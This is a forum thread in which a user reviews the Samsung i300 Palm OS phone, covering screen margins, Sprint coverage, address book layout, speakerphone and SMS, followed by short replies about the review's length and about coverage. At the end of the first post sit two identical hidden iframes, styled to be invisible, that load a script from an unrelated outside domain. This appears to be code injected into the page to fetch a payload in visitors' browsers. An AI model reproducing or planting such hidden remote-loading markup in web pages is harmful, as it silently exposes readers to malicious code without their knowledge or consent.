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Thread: My review

  1. #1
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    My review

    Just found this forum! Here's a repost of a message I posted at pdabuzz. I thought it might be interesting/useful for folks who haven't read it there. I've strung together some of the follow-up comments I made, so it will be a long read...

    ****************************

    Some of you may remember my critical thoughts about the Kyocera 6035. Well, as the end of my 15 day trial approached, I decided to return them (I had two) to Verizon. This past Friday (the day after Thanksgiving), I made a quick call to Best Buy to find out if they had any i300's in. They had two. I rushed in to find the entire store in a frenzy. Fortunately, they still had the two phones. They were priced at $399 each (On sale? Not sure). Additionally, Best Buy was offering a $100 Best Buy gift card for any phone purchase. On top of that, Sprint was offering the $100 rebate when you bought two phones ($30 if you buy one). So, all told, I should end up paying about $500 (minus both gift cards and Sprint rebate) for two i300's.

    First impressions/thoughts:
    1) Screen quality is pretty bad but much improved over the Kyocera's B&W. I'm coming from color (Visor Prism as well as Compaq iPaq). I thought I could give up color for wireless with the Kyocera, but I missed the color (and readability due to improved contrast that a color screen brings) too much. The screen of the i300 definitely looks like a passive matrix screen to me. It does not appear anything like a reflective or active matrix screen. It suffers from poor color saturation and banding. All of this I expected, to some degree, from reading other people's thoughts. What did suprise me, though, is that the screen appears to be cropped. For those of you who have this phone, try this and tell me what you see: Go to the summary screen of one of your contact (address book) entries. The text is right up against the left side (no margin). On my Prism, there's a two pixel margin. The same appears to be true for top, bottom, and right. On the Prism there's a two pixel "margin", on the i300, there's none. Now for a question: Is this two pixel area used by all apps as a margin or might we be losing real information in some apps?

    2) I'm really liking the one-handed operation over the Kyocera. I didn't like the feel of Kyocera's scroll wheel (plus it had bugs - when scrolling through a list of names to dial, if you got to the bottom of the page and scrolled down again, it would bring you to the bottom of the page for the next page - in other words, it would skip several names).

    3) Another improvement over the Kyocera: The Contacts (address book) list view mode shows more information. However, they're still using a column view mode which results in fewer characters of data displaying as compared to a standard Palm OS device. I still don't like this, but at least it's much better than the Kyocera which, IMO, truncated the names way too much.

    These are my initial thoughts. I may add to this list as I get a chance to play with it more. I have 14 days to return them. I have a feeling that these may be keepers, though I'll miss the Prism's vibrant color screen and the possibility of expansion (via a MemPlug Compact Flash adaptor).

    ************************************

    Back to the "margin" issue. I'm beginning to think that this is something that was introduced by Handspring (or maybe Palm with the IIIc - I don't have one to look at) to make up for the fact that the "blank" margin that the monochrome devices have is no longer there. In other words, on a monochrome Palm device, unused pixels in an application are green. The margin outside of the pixel area is also green. On a color device, unused pixels are white, but the outside margin (which has no pixels) is black. In order to compensate for this problem, I think that Palm/Handspring added a two pixel margin which is always "on" (i.e. - white). My guess is that the color devices therefore have a resolution of 164x164 (rather than 160x160) with these extra pixels inaccessible by software (they're always on/white). Every app I checked (in my limited library of apps) confirmed that I had a two pixel white margin around the screen on my Prism. Bottom line: I don't think we're missing information, but it does diminish readability. I would be happy with a one pixel margin.

    ********************************

    The margin issue is a bit bigger than just a readability issue. It also makes text editing in Notepad difficult. Try this. Write the letter "i" at the beginning of a line. Now try to tap before the "i" to position the cursor there. Argh.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
    <iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

  2. #2
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    Ran out of space. Here are some of my other follow-ups...

    ***************************************

    I don't care for the Sprint coverage. I'm also not happy about the idea of being charged extra for roaming (I knew that going in and have my phone set to digital only mode). The Sprint signal seems flakier than Verizon or Cingular (TDMA in my area - CT). Has anyone else experienced this situation: I'm sitting still and the signal strength goes from 5 bars to no bars and back again. Weird. I am sometimes able to get a signal in my house if I'm in just the right spot. This is what irks me the most. Another situation: I go over a mountain near my house and lose the signal/call (all phones I've used lose the connection at this location). However, after getting over the mountain I watch my phone waiting for the signal to go back up, but it doesn't. So then I turn the phone off and then back on. It reaquires the Sprint signal at that point. Bad.

    Now for some more usability critiques...

    1) The loss of information in the Address Book list mode upsets me (just as it upset me with the Kyocera). I think I'm seeing a couple of extra characters as compared to the Kyo, but I'm not sure. Samsung got it right by losing the arrow button on the right side of the display for switching between which phone number you want listed in List mode (e.g. - Home, Office, etc.) which should allow for a few more characters of info, but they lose points for having the drop-down list of alternative numbers only show as ("H", "W", etc.) whereas the Kyo actually showed the actual phone numbers. They also lose points for wasting space by fixing the phone number column at 14 digits. This assumes that phone numbers will display as "(xxx) xxx-xxxx". On standalone Palm OS devices, you can save space (to allow for more characters of someone's name to display in List mode) by leaving out the parentheses. On the Samsung, I can leave out the parentheses, but the phone number column stays fixed at the same location. Note that on a standalone Palm, there are no columns, name and phone number are essentially appended together.

    2) Samsung also loses points for not having a way to fire up an email from the Summary screen (this is the screen you see if you tap on a name in the Address Book). There are buttons for calling someone, but not for sending an email. I believe the Kyo could do this.

    3) Don't care for the way the speakerphone works. On the Kyo, I could turn on the speakerphone before I made a call. This way I could hear the prompt to "Say a name" through the speakerphone and not have to hold the phone up to my head. This also hurts the voice memo functionality as I need to hold the phone to my head to hear a voice memo. What's up with that? In an effort to really screw this up, they also require tapping a button on the screen to turn the speakerphone on/off which doesn't seem to respond well to finger presses. I have to use my fingernail or a stylus.

    4) It's a bit hard to use this thing one-handedly for making calls. You have to press the hard Address Book button on the bottom of the phone (not easy to do one-handedly), and it's easy to accidentally press some of the side buttons when you're trying to just raise the volume (I accidentally hung up on someone last night when trying to adjust volume). In fact, if the screen turns off, the volume buttons don't function, so you have to turn the screen back on first. If you've got a lot of contacts, paging down (using the front up/down buttons) is also hard to do one-handedly. Then there's the deal with answering an incoming call by pressing the action (i.e. - voice memo) button on the left, but hanging up on a call via the phone button on the right. I realize that they're trying to accomplish a lot without adding too many hard buttons to the unit, but the bottom line is that it leaves me thinking that neither Kyo nor Samsung have quite figured out how to effectively combine a Palm with a phone and creating a very usable phone, if such a thing is even possible. I think Kyo's attempt is better for phone usability, but I couldn't live with its screen.

    Now for some positive comments:

    1) They did a good job with the screen material. It does a very good job of reducing the fingerprint issue. It's got kind of a gritty feel to it which, at first, I wasn't sure I'd like for writing. But I actually like it just fine. I'd imagine it's this "texture" which allows it to reduce fingerprints. I still have to wipe it off periodically, but I'm impressed. My Prism has a glossy screen which shows fingerprints very easily. This would probably be a big issue if I had a VisorPhone.

    2) The standard "Sprint Web" application gets positive points for usability. I'm thinking that this is essentially just a WAP browser. I used to frown on the concept of WAP because it was text only and most phones only had a few lines of info. Well, I find that this thing works much better than Blazer and many of the PQA apps in terms of speed, usability, and actually working. Samsung/Sprint did a good job of mapping the side arrow buttons and hard buttons on the bottom of the phone to work with this app. The bottom line is that this works very well for one-handed browsing (function specific). That said, it needs some tweaking. When entering my zip code in one of the "apps" I discovered that it wouldn't let me highlight the entire line to delete it. I had to erase one character at a time.

    ******************************************

    Thought of another critique:

    What's up with the SMS functionality? Why do I need to "connect" just to compose my message? I realize it would need to connect to send the message, but it seems like a big waste of minutes to have to be connected just to compose the message. And why do I need to connect to read an incoming message? Standalone phones that offer SMS don't have to connect when an incoming message comes in, do they? For that matter, what about the Kyocera?

    **************************************

    A neat observation. I'm at work right now and my signal strength inside my building (heavy construction but 6th floor) is at 5 bars. Lately I had been thinking about how much cooler the i300 would be if the antenna was completely inside the phone. So, I unscrewed and removed the antenna to see how the signal would be affected. Well, I still had 5 bars. So, a question:

    Is this dangerous? I seem to recall reading that the StarTac had the least affect of radiation (or whatever) into someone's head because of it's extended antenna. The i300 has the same sort of antenna. By removing it, am I now having all this signal radiate through my head. Of course, it's still debated whether or not this stuff is dangerous at all.

    I'll have to try removing it again at other locations to compare signal strength. If the signal stays about the same and the danger level is no different, it would be cool for someone to come out with a screwcap for the exposed hole and then our phones would be that much cooler.

  3. #3
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    I'm bumping this up since no one responded to it. I thought my comments were rather insightful and figured everyone must have been out of town the day I posted this, so I'm bumping it up.

    Seriously, I'm curious if anyone has any comments about any of the critiques I made about the phone. Thanks,

    Scott

  4. #4
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    Ran out of space. Here are some of my other follow-ups...
    yo scotty.. no disrespect, but if you ran out of space that should have told you something... :p

    i understand you want to give your opinion about the phone and im glad to see what folks think about this phone, but if you write a "term paper" on it, no one will really read it.. its too long and a lot of us dont have time to read all of the text and try to remmeber what you said and try to comment... your comments are welcomed indeed, but its probably best that you keep them kinda short..

    if you were the first person to have this phone, then yes i would want a detailed review, but remember, id say everyone on here has the phone and have their on "detailed" opinion about it...

    again no disrecpect scotty, please dont take it the wrong way!

    geesh! look how long MY post turned out to be.. :p

  5. #5
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    Ditto.

  6. #6
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    No prob Marctronixx. I can tend to be a bit wordy sometimes. As you stated, this is a review. For people who haven't bought one of these yet, I think it could be useful. For people who do own one, I'm hoping they may have some thoughts as to some workarounds for some of the issues I have with it.

    Scott

  7. #7
    Old School mjorange's Avatar
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    With respect to the lack of consistent coverage in your area, Scott, I whole heartedly identify with that concern. I once lived in Michigan, notorious for poor Sprint service and would have many of the same frustrations. I currently live in Chicago and only suffer from the problem occassionally.

    There is a block where I often travel that causes my phone to swith to analog. The service isn't perfect. I can only gather that, unfortunately, your residing in CT may place you lower on
    the totem pole.

    We all understand your concern with difficulty navigating your address book with one hand. I recall a post on the board where a credible solution was given. Utilize the address book categories. Takes some effort upfront but may cut time at the back door.

    ...Marc this may become a trend!

  8. #8
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    Arrow

    ...Marc this may become a trend!

    ....hahahahaa..... :p

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